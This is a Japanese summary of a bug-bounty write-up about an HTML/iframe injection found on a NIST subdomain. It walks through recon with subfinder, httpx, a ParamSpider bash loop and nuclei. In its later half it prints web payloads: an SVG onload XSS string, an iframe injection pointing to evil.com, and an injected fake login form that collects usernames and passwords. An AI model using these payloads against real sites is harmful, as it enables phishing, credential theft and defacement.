IFrame injection in one of the domains of the National Institute of Standards and Technology (NIST) からiframe Injectionを学ぶ

ソース:

royzsec.medium.com

脆弱性:Improper Input Validation

 

訳:

米国立標準技術研究所 (NIST) のドメインの 1 つで新たな脆弱性が発見され。

まずSubfinder httpx Ubuntu ターミナルで次のコマンドを実行し。

 

subfinder -d target.com all | httpx -mc 200 | tee target.txt

次に、 paramspider すべての一意の URL を取得しました。

しかし、ドメインがたくさんあるので、すべてのドメインを 1 つずつ入力してすべての URL を収集するには時間がかかります。

 

今が最適な時期であると 1 つ思いつきました。
そこで、 ChatGPT を 使用してこのプロセスを自動化し 。
ChatGPT を使用して bash スクリプトを作成し、5 分以内にすべての URL を収集し。

 

#!/bin/bash

input_file="targetdomainlive"
output_file="paramspider_output.txt"

> "$output_file"

while read -r URL; do
python3 ParamSpider/paramspider.py -d "${URL}" --level high >> "$output_file"
done < "$input_file"

echo "Output saved to $output_file"

 

※このコマンドについて

  1. #!/bin/bash

    • これはシバン(shebang)と呼ばれる行で、このスクリプトを実行する際に使用するシェル(この場合はbash)を指定します。
  2. input_file="targetdomainlive"

    • input_fileという変数に"targetdomainlive"という文字列を代入しています。この文字列は後で参照される入力ファイルの名前を示しています。
  3. output_file="paramspider_output.txt"

    • output_fileという変数に"paramspider_output.txt"という文字列を代入しています。この文字列は後で参照される出力ファイルの名前を示しています。
  4. > "$output_file"

    • この行はoutput_file変数で指定されたファイルの内容を空にする(初期化する)ためのものです。
  5. while read -r URL; do

    • input_fileで指定されたファイルから1行ずつ読み込んで、それをURLという変数に代入してループを回します。
  6. python3 ParamSpider/paramspider.py -d "${URL}" --level high >> "$output_file"

    • ParamSpider/paramspider.pyというPythonスクリプトを実行しています。
    • -d "${URL}"で読み込んだURLをスクリプトに渡しています。
    • --level highはおそらくスクリプトの動作レベルや深さを指定するオプションです(具体的な意味はスクリプトのドキュメントやヘルプで確認できます)。
    • >> "$output_file"は、スクリプトの出力結果をoutput_fileで指定されたファイルに追加するためのリダイレクトです。
  7. done < "$input_file"

    • この行はwhileループがinput_fileから1行ずつ読み込むことを指定しています。
  8. echo "Output saved to $output_file"

    • スクリプトの処理が完了した後、出力がどのファイルに保存されたかを表示するための行です。

要するに、このスクリプトtargetdomainliveという名前のファイルにリストされているURLごとに、ParamSpider/paramspider.pyを実行し、その結果をparamspider_output.txtという名前のファイルに保存します。

 

次のステップでは、nucleiとnucleiのテンプレを使い。

 

nuclei -l paramspider_output.txt -t nuclei-templates/http/vulnerabilities/

 

その後、1 つのパラメータに脆弱性があり、そこに入力された内容がすべてページに反映される URL を見つけ。
そこで、ソースコードを確認した後、このペイロードを試してみて。

 

Hello"></a><Svg Only=1 OnLoad=confirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgUm95elNlYw=="))>

 

しかし、それがポップアップしなかったので、これは私の心を壊しました。

その後、私は希望を失わず、IFrame ペイロードを試し。

 

 

使用されるペイロード:

 

FUZZ"></a><iframe src="https://evil.com"></iframe>

 

次に、その下にログイン フォームを作成してみて。

 

 

HTMLコード:

 

FUZZ'"></a><body><div class="container"><h2>Login</h2><form action="login_process.php" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><label for="password">Password:</label><input type="password" id="password" name="password" required><input type="submit" value="Login"></form></div></body>

 

youtu.be

 

ほなほな。